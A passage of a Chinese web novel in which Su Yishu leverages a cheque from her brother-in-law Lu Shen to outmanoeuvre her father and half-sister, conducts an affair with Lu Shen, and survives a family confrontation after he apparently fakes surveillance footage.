轻声呢喃着:“我已经活成了我自己最厌恶的模样了……可是,不这样,我还能怎样?”
脑海中回想着自己当初跟陆慎在一起的场景,紧接着就是她提分手的场景,挥之不去地是陆慎那猩红的双眼充满了恨意。
“这一切,我只能认……”
苏亦姝伸出指腹,擦干眼角的泪水。
眼底的情绪渐渐消散,取而代之的,是坚决和疯狂。
银行贵宾室。
苏亦姝交出支票不到五分钟,经理便神色复杂地退了回来。
“苏小姐,这张支票挂靠了一份‘定向委托监管协议’。简单来说,一旦资金动用,陆总不仅能实时监控您每一分钱的流向,且这张支票所注入的项目,陆总拥有优先的一票否决权。”
苏亦姝捏着支票的手微微一颤。
好一个陆慎!
名义上是救命钱,实则是捆住她的金锁链。只要她用了这笔钱,她这辈子都别想从陆慎的掌心里逃出去。
“不取了。”她收起支票,笑容端庄却透着冷冽。
上了车,苏亦姝看着手里的支票,眼底是止不住的怒意。
支票上的“受托协议”像是一道无形的枷锁,陆慎想用这三个亿,把她苏亦姝变成他笼子里随传随到的金丝雀。
可他忘了,我苏亦姝从来不是逆来顺受的性子。
苏亦姝指尖夹着那张支票,眼神流转间,一计浮上心头。
既然陆慎给她支票,不用白不用,那她就借这尊大佛,把苏家这滩水搅得更浑。
“陆慎,你想玩监管,那我就让你这份【支持】,名扬天下。”
这个时候,海绵的电话打来了。
“苏总,您赶紧来公司,公司不少人在****!”
苏亦姝眉头微蹙。
“海绵,你先冷静。我现在去总部,晚点,听我安排……”
与此同时,擎天集团顶层。
陆慎靠在真皮转椅上,落地窗外的江城盛景在他脚下延展,却入不了那双阴鸷的眼。
陈维递上调查报告,声音压得很低。“陆总,苏可人上月确实去过望江市,单不是一个人,同行还有一个男人叫吴海岩,是当地有名的地痞,曾被大少爷陆钦亲手送进过看守所,也跟苏可人有过一段私情。”
陆慎接过报告,嘴角勾起一抹残忍的弧度:“吴海岩……陆钦那个窝囊废,竟然让这种货色在自己头顶种草。我那个好母亲,为了保住大房的香火,真是什么垃圾都敢往陆家捡。”
“不仅仅如此,还查到了其他的东西……”说着,陈维把另外一份文件递过去。
陆慎拿在手里,一目十行,快速扫完。
神色依旧冰冷,甚至还夹杂着浓重的嘲讽。
“苏小姐那边……”陈维小心翼翼地观察着陆慎的神色,“苏氏分公司**闹得很凶,带头的那几个人,昨晚都悄悄收了苏可人的红包。”
陆慎没说话,修长的手指摩挲着左手尾指上的戒指。
那是那晚他在婚房里,从她指尖生生拽下来的。戒指内圈刻着一个小小的“姝”字,被他摩挲得微微发烫。
“陆总,要不要暗中帮苏小姐压一压?”
“帮她?”陆慎冷笑,眼神里透着股变态的期待。“她既然拿着支票去银行不取钱,就说明她有别的法子。去,盯着她,我要看看她是怎么带着这一身刺,在烂泥里翻身的。”
半小时后,苏亦姝的车停在苏氏总部楼下。
苏亦姝踩着十公分的高跟鞋,气场全开地推开了总裁办公室的大门。
苏振东正为分公司**的事情焦头烂
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额,见她进来,正欲发火。“你还有脸回来?分公司闹成那样,你……”
话未说完,一张支票稳稳地落在了他的办公桌上。
苏振东的目光在看到支票右下角那苍劲有力的【陆慎】二字签名时,瞳孔骤然紧缩,声音都带了颤音。
“这……这是陆慎给你的?”
“小叔子说,我虽然没有了阿钦,但不能亏待了我这个大嫂。”苏亦姝唇角微勾。“这三亿,是他私下拨给我的‘支持资金’,让我放手去做。”
苏振东倒吸一口凉气,猛地站起身,原本紧绷的脸瞬间堆满了笑意,甚至带了几分讨好。
“陆总竟然亲自给你拨钱?亦姝,爸爸就知道,陆家还是看重你的。”
在苏振东眼里,苏亦姝此刻不再是那个没有任何价值的女儿,而是陆慎递过来的一根金大腿。
苏亦姝心中冷笑,面上却露出一丝难色。
“钱是有了,可陆慎的意思是,他注资是为了看收益。若是分公司那具空壳子做不出成绩,恐怕陆家那边……”
“这你放心!”苏振东一拍大腿,生怕陆慎撤资,当即表态,“分公司也是苏氏的命脉,爸爸一定支持你。你要什么,尽管说!”
“我要总部刚拿下的那三个医疗器械的项目,外加五千万的启动资金拨给分公司。”苏亦姝语速极快,根本不给苏振东思考的机会。
苏振东脸皮一抽,那三个项目是总部的核心,他一阵肉痛。
“怎么,陆慎的面子,还换不来爸爸的一点信任?”苏亦姝作势要收回支票。
“给!这就签批!”苏振东咬牙应下,比起三个项目,他更怕得罪陆慎。
就在苏振东低头签字时,苏亦姝的手机突兀地响起,是海绵打来的。
她没接,而是直接按下了免提键。
“苏总,不好了!王德发那帮人带头**,嚷嚷着要把公司账目搞乱。我刚才在走廊听到他们给二小姐打电话,说‘事情办好了,尾款记得结一下’……”
第七章 入主分公司,布棋
办公室内瞬间陷入诡异的死寂。
苏振东签字的手猛地一顿,脸色青紫交替,难看到了极点。
苏亦姝故作惊讶地捂住嘴,似乎才反应过来开了免提,慌忙切断电话,神色复杂地看向苏振东。
“爸……妹妹大概是担心我做不好,想找人帮帮我吧。只是,这帮人的手段,似乎有点过了。”
她幽幽地叹了口气,状似无意道:“我只是担心,万一这事儿传到陆慎耳朵里,让他觉得苏家内部争斗不休,连他的投资都敢动,那……”
苏振东气得浑身发抖。
他最在意的就是股份和权柄,现在苏可人还没进陆家门,就开始在他眼皮子底下收买老员工、破坏公司利益,这简直是反了天了!
“胡闹!简直是胡闹!”苏振东重重地拍响桌子。
“爸,妹妹毕竟怀着陆家的骨肉,您也别太责怪她。”苏亦姝柔声劝道,眼底却是一片冰冷的笑意。“我这就回分公司处理,只要资金和项目到位,我有信心压下那些杂音。”
“去吧,谁敢拦你,直接开除!”苏振东摆摆手,声音疲惫。
走出总部大楼,阳光刺得苏亦姝眯起了眼。
她不仅从苏振东手里抠出了项目和钱,还成功在苏振东心里给苏可人钉下了一根名为“**”的钉子。
上了车,她给海绵发了条语音:“项目和钱都拿到了,等我回去收网。”
随后,她点开陆慎的聊天框,发去了一张苏振东签字的拨款单截图。
【多谢陆总的支票。不过,我更喜欢让苏家的人为我的野心买单。】
半晌,手机震动。
陆慎:【大嫂空手套白狼的本事,见长。】
陆慎:【今晚八点,海边别墅。既然拿了我的势,总得让我讨回点利息。】
苏亦姝握着手机,指节因用力而微微发白。
她就是要明目张胆地借陆慎的势!
她也知道,从苏振东那里拿走的每一分利。都会在陆慎那里折算成更疯狂的代价。
但那又如何?这局棋,不计成本,她已经赢了一半。
苏氏分公司。
苏亦姝刚踏进大厅,喧闹声几乎要把房顶掀翻。
“我们要见苏总!老员工的尊严不能丢!”
“凭什么让年轻人骑在我们头上?我们要加薪,要股份!”
海绵被围在中间,急得小脸通红。
看到苏亦姝,几个老员工对视一眼,不仅没收敛,反而叫嚣得更欢了。
“苏总,您既然是董事长派来的,总得给我们一个交代吧?”一个姓王的老领班挺着大肚子,一脸横肉地走上前,“我们这些人,在这公司干的时候,您还在国外读书呢!”
苏亦姝停下脚步,没有进办公室,就那样气定神闲地站在大厅中央。
她从包里掏出一份文件,修长的手指翻动着纸张,发出令人心惊的声响。
“王德发,工程部领班。”苏亦姝冷淡开口,声音穿透嘈杂,“去年三月,你私下扣除工人高温补贴共计十八万;九月,你将公司的一批废旧钢材变卖,账目却对不上。需要我把收据一张张念出来吗?”
王德发的脸瞬间从涨红变得惨白。“你……你胡说八道!”
“还有你,李大姐。”苏亦姝看向旁边一个叫得最凶的女人,“财务部的报销单,你每个月都多报三千元的交通费,持续了整整两年。你以为,我来之前没查过你们的底?”
苏亦姝扫视一圈,原本喧闹的人群竟然鸦雀无声。
“想**?”苏亦姝唇角勾起一抹讥诮,“可以。现在去人事部领遣散费,按照劳动法,公司该赔的一分不少。但同时,我会把你们手中的账本移交给抓走**的那个部门。我想,总有地方,会更适合各位。”
王德发双腿一软,险些跪倒在地。
她这是要不仅要把人踢走,还要把人送进大牢!
“苏总,我们……我们也是受人蒙蔽……”
“受谁蒙蔽我不管。”苏亦姝走到王德发面前,眼神锐利如刃,“现在,要么回工位干活,要么跟我谈谈那几个项目的非法获利。”
不到三分钟,原本黑压压的人群如潮水般退去。
苏亦姝转身走进办公室,海绵崇拜得眼睛发亮。“苏总,您早就算好了?”
“苏可人太心急了。”苏亦姝坐回位置上,拨通了一个号码。
不仅她急,苏振东也急。我要用分公司这块跳板,把苏家在总部的根给撬了。
她打开电脑,直接联络了一家海外的风投公司——那是她当年在国外留学时暗中扶持的一股势力,既然陆慎给她这张支票,她还是要把这张支票发挥最大的价值!
苏亦姝挂断电话,目光落在电脑屏幕上一行行跳动的股市曲线上。
看向站在一旁的海绵。
“海绵,通知财务部,苏振东拨下来的五千万今天必须到账。另外,把总部转过来的那三个器械项目重新立项,负责人直接跳过周轩,由你盯着,选几个没背景、肯拼命的年轻人上来。”
苏亦姝修长的指尖在桌面上轻点,眼神睿智而清醒。
苏振东以为给了三个项目和五千万就能堵住她的嘴,殊不知,这只是她撬动苏氏版图的第一枚支点。
在海绵出去后,她打开加密邮箱,给大洋彼岸的发去一封邮件。
【以“S项目组”的名义,开始暗中吸纳苏氏散股。另外,借着陆慎注资分公司的风声,去谈下城北
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那块医疗园区的招标。】
苏亦姝很清楚,现在外界都在传陆慎看重她这个“大嫂”。
这种泼天的势头,不用白不用。
只要她打着陆慎的旗号,那些原本对分公司避之不及的供应商和银行,都会像闻到血腥味的鲨鱼一样扑上来。
苏亦姝合上电脑,看着窗外渐深的暮色,长舒一口气。
这只是第一步。
她要让苏氏变成一个空壳,而所有的核心,都会握在她苏亦姝的手里。
到那时,不管是苏振东还是苏可人,都只能跪在她面前求一口饭吃。
看了一眼表,晚上七点三十分。
心底那抹紧绷的弦再次跳动起来。陆慎那张如同神祗却又阴鸷如魔的脸,浮上脑海。
晚上八点,海边别墅。
这里的空气中弥漫着微凉的咸腥味,海浪拍打礁石的声音在静谧的夜里显得格外狂躁。
苏亦姝推开沉重的雕花大门,客厅里没有开主灯,只有几盏昏暗的壁灯摇曳,勾勒出沙发上那个男人的轮廓。
陆慎穿着一件深色的睡袍,领口松垮地散着,手里摇晃着半杯红酒。他整个人陷在阴影里,像是一头正在蛰伏的野兽。
“大嫂,你迟到了三分钟。”
陆慎的声音沉哑磁性,透着股让人不寒而栗的压迫感。
苏亦姝换下高跟鞋,赤脚踩在冰冷的大理石地面上,一步步走向他。
“公司的事情忙,陆总应该体谅。”她站定在他面前,强迫自己对上那双深不见底的黑眸。
陆慎发出一声轻笑,猛地伸手扣住她的手腕,用力一拽。
苏亦姝猝不及防,整个人跌进他宽大的怀抱里,鼻尖撞在他结实的胸膛上,有点发疼。
“拿我的名头去苏振东面前敲诈,又借我的势去外面抢订单……”陆慎的大掌顺着她的后颈缓缓上移,最后托住她的后脑勺,指腹带有薄茧,摩挲着她的皮肤。
他低头,温热的呼吸喷洒在她的唇瓣上,眼神阴鸷。
“苏亦姝,你这空手套白狼的买卖做得这么漂亮,真当我是开善堂的?”
苏亦姝呼吸猛地一滞,感觉到他另一只手已经不老实地顺着脊椎下探,带起一阵阵战栗。
“陆慎,钱我没用,股份我会分你……”
“钱?股份?”陆慎像是听到了什么笑话,他猛地翻身,将她整个人压在宽大的真皮沙发上,眼神里满是病态的侵略欲。
“大嫂,你还没搞清楚。那些,根本就入不了我的眼……”
他低下头,在那双微微颤抖的红唇上狠狠咬了一口,带着血腥味的厮磨声在寂静的客厅里格外刺耳。
“今晚,咱们来谈谈,你身上这层皮,值多少利息……”
第八章 修罗场,撞见
翌日,晨光透过厚重的丝绒窗帘,洒在凌乱的床边。
苏亦姝还没睁开眼,就被楼下震天响的门铃声闹得拧紧了眉头。
昨晚的陆慎像是一头饿极了的狼,几乎要把她全身的骨头都拆散了重组。她哑着嗓子求饶,换来的却是他更深重的掠夺。
那种恨不得将她揉进血肉里的占有欲,让她至今想起都心惊肉跳。
陆慎早已醒了,他撑着侧脸,指尖正漫不经心地点在苏亦姝红肿的唇瓣上,眼神里难得有几分事后的温存。
门铃声持续不断,陆慎眼底的宠溺瞬间被阴鸷取代。
“时间还早,你继续睡。”他掀开被子下床,随手披上一件黑色的丝绸睡袍,领口大敞,锁骨上那几道暧昧的抓痕和吻痕在那身冷白皮的衬托下,显得格外刺眼。
苏亦姝浑身酸软得像被卡车碾过,可听着那急促的门铃,心跳却漏了一拍。
这个时候,谁会来?
别墅门口。
程丽梅按铃按得手指发麻,一张保养得宜的脸上满是不耐。
“怎么回事?陈维不是说阿慎一直住在这儿吗?”
“阿姨,陆总可能……还没起床吧。”苏可人站在一旁,眼底尽是贪婪地打量着这幢寸土寸金的海边别墅。
能住在这里的,非富即贵,更是一种身份的象征!
如果她能母凭子贵坐稳陆家大少奶奶的位置,将来这一切,是不是也有她的一份?
“咔哒”一声,沉重的雕花大门打开。
陆慎半倚在门框上,衣衫不整,发梢带着晨起的凌乱,整个人透着股危险又颓废美感。
“有事?”他嗓音沉哑,透着被打断好事的暴戾。
程丽梅一愣,目光触及陆慎颈间那抹红痕,心头猛地一跳,正欲进屋的脚步也顿了顿。
苏可人更是屏住了呼吸,陆慎这副模样,屋里藏了女人,几乎是不打自招。
“怎么,我当妈的还要预约才能进你的门?”程丽梅压下心头的异样,拉着苏可人强行进了客厅。
陆慎冷笑一声,掩去眼底的厌恶,反手关上门。
“老爷子让你调查阿钦血脉的事,你查得怎么样了?”程丽梅一坐下,便开门见山地将一份报告拍在桌上,“这是我带可人去做的胎儿绒毛提取检测,报告证实,这就是阿钦的孩子。”
陆慎看都没看那张纸,指尖有一下没一下地敲着扶手。“既然有了结论,你拿给爷爷就是,何必跑我这儿来自讨没趣?”
“陆慎!”程丽梅勃然大怒,声音尖利起来,“你少给我阴阳怪气!为了一个苏亦姝,你给分公司投三个亿,你真当陆家的钱是大风刮来的?那个女人克**你哥,现在又要来吸你的血,你是不是疯了!”
“我的钱,我想给谁就给谁。”陆慎抬眼,语气冷戾如刃,“您有空在这儿操心我的钱,不如去好好操心一下华泰的烂账。若我一个不高兴断了合作,华泰明天就能破产。到时候,您这位‘陆夫人’在娘家还有多少分量,可就难说了。”
“你竟敢拿华泰威胁我?我是你妈!”程丽梅气得浑身颤抖。
就在这时,楼上突然传来“砰”的一声,像是台灯落地的声音。
程丽梅和苏可人猛地抬头看向二楼。
“楼上有人?”程丽梅狐疑道。
“养了只猫,野性难驯。”陆慎面不改色,眼神却不自觉地往楼梯口扫了一眼。
“猫?”程丽梅冷哼,一脸不相信。“我倒觉得,你养的是不干不净的狐狸精!”
她自知在陆慎这里讨不到好,把报告丢在桌上,拉起苏可人就走。
“报告你必须递给老爷子。还有,苏家的事情,你最好别插手,免得惹一身骚……”
临走前,苏可人的目光扫过玄关处,在那张意式极简风的大理石长几上,赫然放着一款限量版的女士包包。
苏可人心脏猛地缩紧——那是苏亦姝的包!
花园小径上。
“阿姨,我刚才看到姐姐的包了。”苏可人压低声音,语气里满是兴奋,“她真的在里面!陆总居然和自己
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的大嫂……”
程丽梅脚步猛地刹住,脸色铁青。“这个不知廉耻的烂货!我就知道她不安分!”
她作势要冲回去捉奸。
“等一下!”苏可人一把拉住她,眼神阴毒,“阿姨,现在冲进去,陆总为了护着她肯定会跟您翻脸。咱们得等……等她从里面出来,我们现场抓住,到时候,陆总想护也护不住了……”
程丽梅深吸一口气,咬牙切齿:“好,我就等她出来!”
两人假意离开,实则退到花园转角处的视线盲区。
别墅内。
苏亦姝心惊胆战地下了楼。
“大嫂就这么怕被人看见爬了小叔子的床?”陆慎坐在沙发上,眼神嘲弄,“爬床的时候,怎么不见你害怕?”
苏亦姝没理会他的冷嘲热讽,她的目光死死盯着玄关处。
“我的包……她们刚才看见了吗?”
陆慎顺着她的视线看过去,那个亮紫色的包在灰调的装修里格外显眼。
他眸色沉了沉,刚想开口,苏亦姝已经等不及了,她必须马上走,分公司还有一堆事等着她,她不能在这里坐以待毙。
她快步走过去拎起包,也顾不得身上还没消退的酸疼,直接拉开了别墅大门。
“苏亦姝,站住!”陆慎的话音刚落。
大门已经彻底敞开。
清晨刺眼的阳光洒进来,苏亦姝还没看清路,就对上了两张阴冷扭曲的脸。
程丽梅和苏可人并排站在门口,像两尊索命的罗刹。
空气在那一秒彻底凝固。
苏亦姝握着包带的手指瞬间僵住,整个人如坠冰窟。她心中闪过无数种自辩,但最终,所有情绪都化作了一种极致疯狂的冷静。
苏可人看着苏亦姝,发出一声令人毛骨悚然的笑。
“姐姐,这海边的日出,是不是比海棠湾的……好看多了?滋味也更好吧?”
程丽梅更是二话不说,抬手就是一个响亮的耳光,狠狠抽在了苏亦姝的脸上!
“**!你对得起阿钦吗!”
第九章 老宅对峙,偷天换日
苏亦姝被打得一个踉跄,耳边嗡嗡作响。她缓缓转过头,舌尖抵了抵破损的嘴角,尝到了一丝腥甜。
她舌尖抵了抵破损的嘴角,尝到了一丝腥甜。没有哭,甚至连一丝愧疚都没有。
她余光扫过身后已经走到她身侧、周身杀气腾腾的陆慎,突然低低地笑了一声。
“苏亦姝,你还有脸笑?!”程丽梅气得浑身发抖,保养精致的指甲几乎要戳到苏亦姝的鼻尖上,“阿钦才刚入土,你就迫不及待地在外面偷人,偷的还是阿钦的亲弟弟!你这个不要脸的**,我打死你!”
程丽梅再次扬起手,带着十足的狠劲。
然而,手腕在半空中被一只铁钳般的大手死死扣住。
“够了!”
陆慎眼神阴鸷,猛地一甩。程丽梅脚下一个踉跄,若不是苏可人扶着,险些摔倒在地。
“陆慎!你护着她?你跟你大嫂搞在一起,你对得起你哥哥吗?你……”
“一大清早就在我门口撒泼,你是脑子有病还是更年期到了?”陆慎厉声呵斥,声音如同淬了冰的刀子,没有半分对长辈的敬重。
程丽梅傻眼了,被这股戾气震慑得说不出话。
她知道,在陆慎的地盘上动不了苏亦姝。她咬着牙,颤抖着拿出手机。
“好……好得很!既然你不要脸,那就让老爷子来评评理!我看这陆家的家法,能不能治得了你们这对狗男女!”
苏可人站在一旁,看着苏亦姝红肿的脸,嘴角勾起一抹幸灾乐祸的毒笑。
苏亦姝,这次我看你**!
陆家老宅,正厅。
气氛压抑得令人窒息。陆老爷子端坐在首位,手中的佛珠转得飞快。
程丽梅哭得梨花带雨,指着跪在地上的苏亦姝控诉。
“爸,您要做主啊!苏亦姝这个**,竟然在阿慎的别墅里过夜!这要是传出去,咱们陆家的脊梁骨都要被人戳弯了!”
“我的阿钦尸骨未寒,她就这么耐不住寂寞……爸,这样的女人,必须浸猪笼!赶出陆家!”
坐在左侧太师椅上的二叔陆子谦,端起茶杯吹了吹浮沫,语气阴阳怪气。
“啧,大嫂你也别太生气。现在的年轻人嘛,玩得花。只是阿慎啊,你作为陆家现在的掌权人,兔子还不吃窝边草呢,你怎么能跟你大嫂……哎,这对阿钦来说,简直是奇耻大辱啊。”
二房长子陆域也跟着冷笑补刀。“是啊爷爷,要是大哥还在,恐怕会被气得再死一次。这件事要是不严惩,以后陆家的家风还怎么立?”
二房父子俩对视一眼,眼底尽是贪婪的精光。陆慎要是因此失势,这陆家的天,可就要变了。
陆老爷子猛地将佛珠拍在桌上,沉着脸看向陆慎和苏亦姝。
“你们两个,有什么话可说?”
“事实摆在眼前,还能说什么?”程丽梅咬牙切齿。
“你闭嘴!”陆老爷子厉喝一声,吓得程丽梅瞬间噤声。
陆慎跪得笔直,背脊如松。他漫不经心地理了理袖口,脸上没有半分慌乱,反而露出一丝嘲弄的笑。
“爷爷,二叔这脏水泼得倒是挺顺手。只不过,捉奸还得拿双,大凭一张嘴就给我定罪,是不是太草率了?”
陆慎拿出手机,调出一段视频,递给老爷子。“爷爷,您先看看这个。”
老爷子狐疑地接过手机。
视频是别墅门口的监控录像。
视频显示:苏亦姝是在程丽梅到达前十分钟,才匆匆驾车赶到别墅门口。她手里拿着一份醒目的蓝色文件夹,上面印着“苏氏分公司项目案”。
而陆慎开门时,虽然穿着睡袍,但神色冷淡,两人站在门口位置交谈了几句关于项目的事,苏亦姝甚至都没进门,只是把文件递给了陆慎。
“这……”老爷子反复看了两遍,脸色稍霁。
陆慎适时开口,语气凉薄。“苏氏分公司有个紧急项目大嫂想请我帮忙,这才一大早送过来。怎么到了妈和二叔嘴里,就成了苟且之事?难道在你们眼里,陆家人除了那档子事,就不能谈工作了?”
“不可能!我看错不了!”程丽梅尖叫起来,“可人也看到了!我们明明看到她从里面出来的!还有那个包……”
“够了!”陆老爷子猛地将茶杯砸向程丽梅。
“啪”的一声,滚烫的茶水溅了程丽梅和苏可人一身。
“糊涂!简直是糊涂!”老爷子气得胡子都在抖,“拿着这种捕风捉影的事来老宅闹,把陆家的脸都丢尽了!亦姝因为工作的事找阿慎,却被你打成这样!你这个当婆婆的,简直是非不分!”
程丽梅被烫得尖叫,却不敢躲,整个人彻底懵了。
那个监控……那个监控肯定是假的!陆慎竟然为了苏亦姝,伪造监控骗老爷子!
苏可人更是脸色惨白,她没想到陆慎的手段竟然通天到这种地步,连时间线都能**!
苏亦姝跪在地上,垂着眼帘,长睫掩盖住眼底的精光。
她知道,这是陆慎在帮她演戏,一场把黑说成白的戏。
她适时地抬起头,那张红肿不堪的脸暴露在众人面前,眼眶微红,声音却倔强得令人心疼。
“爷爷,我知道妈不喜欢我。如果我的存在让陆家蒙羞,那我愿意净身出户,给妹妹腾位置……”
这一招以退为进,瞬间点燃了老爷子的愧疚心。
“谁敢让你走!”老爷子一拍桌子,“亦姝是我亲自选的孙媳妇,谁敢动她!”
他转头看向程丽梅,眼神冷厉。“丽梅,从今天起,内宅的掌家权交给老二媳妇柯沁。你这性子,确实该修身养性了!”
“爸!您不能……”程丽梅如遭雷击,掌家权是她
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在陆家立足的根本啊!
“还有……”陆慎慢悠悠地补了一刀,“爷爷,妈刚才那一巴掌可是下了死手,大嫂这小身板……要不是我扶着,当场就倒了!”
老爷子看着苏亦姝那触目惊心的脸,怒道:“丽梅,给亦姝道歉!”
程丽梅死死咬着唇,**得眼泪都在打转。可在老爷子的威压下,她只能低下高贵的头颅,从牙缝里挤出一句。
“亦姝……是妈冲动了,对不起。”
苏亦姝并没有立刻接受,而是转头看向躲在程丽梅身后的苏可人,语气轻柔却致命。
“妈,我不怪您。毕竟若是没有人从中挑拨,您也不会这么失态……妹妹,你说是不是?”
矛头瞬间指向苏可人。
陆老爷子冷眼扫过去。“苏小姐,先不说你肚子里的还不知道是不是我陆家的种,就算是,那又如何?阿钦明媒正娶的妻子是亦姝,这是永远无法改变的。所以,届时就算孩子真是阿钦的,孩子也只会养在亦姝的名下……”
“还有,你在苏家怎么耍心机,我管不着,要是把手伸进我陆家,那我……不介意直接砍断!”
苏可人脸色顿时苍白,浑身一颤。
“爷爷,她是私生女,本来就没家教。”陆慎轻飘飘地接了一句。
这句“私生女”,像一记耳光狠狠抽在苏可人脸上,让她恨不得找个地缝钻进去。
“好了,都散了吧!”老爷子挥挥手,“亦姝,受委屈了。分公司那边若是缺钱缺人,尽管找阿慎开口。阿慎,你送亦姝去医院处理伤口。”
“是,爷爷。”
陆慎站起身,当着所有人的面,弯腰将苏亦姝从地上扶起来。
他的手掌有力地托着她的腰,指腹却在那块红肿的淤青旁轻轻摩挲了一下。
这一动作极尽暧昧,却又光明正大得让人挑不出错。
走出老宅大门,苏亦姝才感觉背后的冷汗湿透了衣衫。
“陆总这招偷天换日,使得真好。”她低声道。
陆慎打开车门,将她塞进副驾驶,随后倾身压过来,将她圈在座椅和胸膛之间。
“大嫂,”他捏住她的下巴,看着那肿起的半边脸,眼底闪过一丝嗜血的光,“我帮你演了这么大一出戏,保住了你的名声,还夺了程丽梅的权。”
他低下头,薄唇几乎贴上她的唇瓣,声音低沉危险。
“这笔账,今晚是不是该连本带利地算一算了?”
苏亦姝刚想推开他,手机突然震动。
是一条匿名短信。
【苏亦姝,你和陆慎的**真以为没人知道吗?】
紧接着,就是一张照片。照片里,陆慎揽住了苏亦姝的腰,姿态暧昧。
只是,苏亦姝的面部不是很清晰,不熟悉苏亦姝的人,根本认不出来。
苏亦姝瞳孔猛地一缩。
第十章 温情警告,发疯
医院走廊,消毒水的味道刺鼻而冰冷。
护士刚给苏亦姝换上新的冰袋,就被门口的一道阴影惊得退了出去。
陆慎挂断电话,走了进来。
逆着光,身形高大挺拔,那双总是藏着戾气的眸子此刻锁在苏亦姝红肿的半边脸上,眼底翻涌着某种晦暗不明的情绪。
“疼吗?”他抬手,指腹想触碰那处淤青,苏亦姝偏过头,避开了他的触碰。
“陆总,这里没有别人,不用演戏。”苏亦姝声音冷淡,眼神却有些飘忽。
那条匿名彩信像是一根刺,扎在她心里。陆慎现在的身份和能力,根本就没人能在他眼皮子底下作浪。
能被人拍到我跟他在一起,说他一无所知,真的很难让人相信。又或者……是他默许的?
陆慎的手僵在半空,随即发出一声极轻的冷笑,顺势捏住她的下巴,强迫她转过脸来。
“苏亦姝,用完就丢这一套,你玩得倒是炉火纯青。”
他指腹用力,在那处未受伤的肌肤上摩挲出红痕,“刚才在老爷子面前演得那么情真意切,现在下了台,就连我也要划清界限?”
“我只是不想给陆总惹麻烦。”苏亦姝直视他的眼睛,心跳如雷,面上却强装镇定。“我已经叫海绵来接我了。陆总日理万机,就不劳您大驾。”
说完,她挣脱他的手,拎着药袋头也不回地走向电梯。
擦肩而过的瞬间,陆慎的声音幽幽响起,带着令人头皮发麻的笃定。
“大嫂,你尽管跑。但别忘了,风筝线还在我手里。你跑得再远,我一收线,你也得乖乖坠回来。”
苏亦姝脚步微顿,随即加快步伐进了电梯。
电梯门合上的那一刻,她看到陆慎站在原地,从兜里摸出一根烟点燃,烟雾缭绕后,那双眼如狼,死死盯着她。
楼下,海绵的车早已停好。
“苏总,您的脸……”海绵吓得捂住嘴,眼眶瞬间红了,“是谁??!这下手也太狠了!”
“死不了,回公司。”苏亦姝系好安全带,疲惫地闭上眼。
就在车子即将发动的瞬间,后车窗被不轻不重地敲响。
车窗降下,周轩那张面无表情的脸露了出来。
“苏小姐,陆总吩咐的。”
一个精致的牛皮纸袋递了进来,带着温热的香气。
苏亦姝本能地想要拒绝,却听到周轩压低声音补了一句。“陆总说,您若是不吃,他不介意亲自喂您——在公司大门口。”
苏亦姝指尖一颤,咬牙接过。
“替我……谢谢陆总!”
车窗升起,隔绝了外面的视线。苏亦姝打开纸袋,呼吸猛地一滞。
鲜虾小云吞、七分熟的牛排三明治去掉黑胡椒、还有一杯温热的脱脂牛奶。
全是她在国外留学时最爱吃的搭配,甚至连忌口都记得一清二楚。
那时候他们还没分手,陆慎为了给她买这家的小云吞,曾在大雪里排了三个小时的队。
苏亦姝紧紧攥着那杯热牛奶,指节泛白。
这不是关怀,这是警告。
陆慎在用这种方式告诉她:你的一切喜好、习惯、过去,都在我的掌控之中。你逃不掉。
“吃吧。”苏亦姝声音沙哑,撕开三明治的包装,大口咬下去。
既然明知是一场交易,又何必再矫情?
就在这时,手机震动。
上面显示——苏振东。
苏亦姝冷嗤一声,呵……来的挺快……
苏家别墅,气氛凝重。
苏可人刚进门,还没来得及换鞋,苏振东的一个耳光就狠狠甩了过来!
“啪!”
这一巴掌比程丽梅打苏亦姝的还要狠,直接将苏可人打翻在地,额头撞在鞋柜上,瞬间
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青了一块。
“爸……”苏可人捂着脸,耳朵嗡嗡作响,满眼不可置信。
“别叫我爸!我没你这种蠢货女儿!”
苏振东气得胸口剧烈起伏,指着她的鼻子骂道:“我让你好好养胎,你倒好,仗着肚子里那块肉到处惹是生非!你去招惹苏亦姝干什么?她是陆家名正言顺的大少奶奶,是你这种身份能随便动的吗?”
苏可人眼底猩红,恨意滔天。又是苏亦姝!
“爸,今天不怪我!是程夫人……”
“闭嘴!”苏振东冷嗤一声,眼神里透着商人的冷血,“就在刚才,陆慎的特助当着全董事会的面警告我——‘若是连一个私生女都管不好,擎天不介意接手苏氏,让苏总专心回家教女’!”
听到“私生女”三个字,苏可人的指甲狠狠掐进肉里。
苏振东蹲下身,捏住苏可人的下巴,语气阴森。
“可人,你给我听清楚了。你的价值,就在肚子里这块肉上。如果生下的是金孙,你就是苏家的功臣;如果再敢作妖搞砸了我的项目,我可以让你哪里来回哪里去……我苏振东,不缺女儿……”
“……我知道了,爸爸。”苏可人垂下眼帘,掩盖住眼底疯狂的怨毒,“我会乖乖养胎的。”
“晚上,我让亦姝回来吃饭。到时候,该怎么做不用我教你吧……”
“我知道……我会跟姐姐好好道歉……”
苏振东冷哼一声,转身转楼。
苏可人坐在冰冷的地板上,缓缓抬起头,看着落地镜里狼狈的自己,嘴角勾起一抹厉鬼般的笑。
苏亦姝,你以为你赢了吗?
你不过是陆慎的一条狗,而我,只要我毁了你这条狗,陆慎还会要你吗?
她掏出手机,拨通了一个没有备注的号码。
“喂,我要让她……身败名裂,价钱随你开!”
第十一章 鸿门宴,有猫腻
车内,手机屏幕的光明明灭灭。
苏亦姝看着那个跳动的“苏振东”三个字,直到铃声快要自动挂断,才慢条斯理地划开。
“亦姝啊,今晚回家吃个饭吧。”苏振东的声音透着一股刻意堆砌的慈祥,“关于把你母亲转去瑞士疗养院的事情,我想跟你当面确认一下细节。”
苏亦姝握着手机的手指猛地收紧,指节泛白。
母亲的治疗方案,是她的软肋,苏振东每次都捏得精准无比。
“好。”她声音冷淡,听不出情绪,“几点?”
“七点,我在家等你。大家都在,顺便……把之前的误会解开,一家人哪有隔夜仇。”
挂断电话,苏亦姝嘴角勾起一抹极尽嘲讽的弧度。
误会?一家人?不过是苏振东看硬的不行,准备摆一场鸿门宴,想软刀子割肉罢了。苏振东,你还真是——无利不起早。
晚上七点,苏家别墅。
苏亦姝推门而入时,看到的就是一副令人作呕的“父慈女孝”图。
长桌旁,苏可人坐在苏振东手边,正殷勤地给他倒酒。
她脸上的巴掌印用厚重的粉底遮盖了,穿着一身素白的长裙,微垂着头,显得格外楚楚可怜。
见到苏亦姝,苏振东立刻站起身,满脸堆笑,眼神却精明地在她身上打量。
“亦姝回来了,快,坐爸爸身边来。”
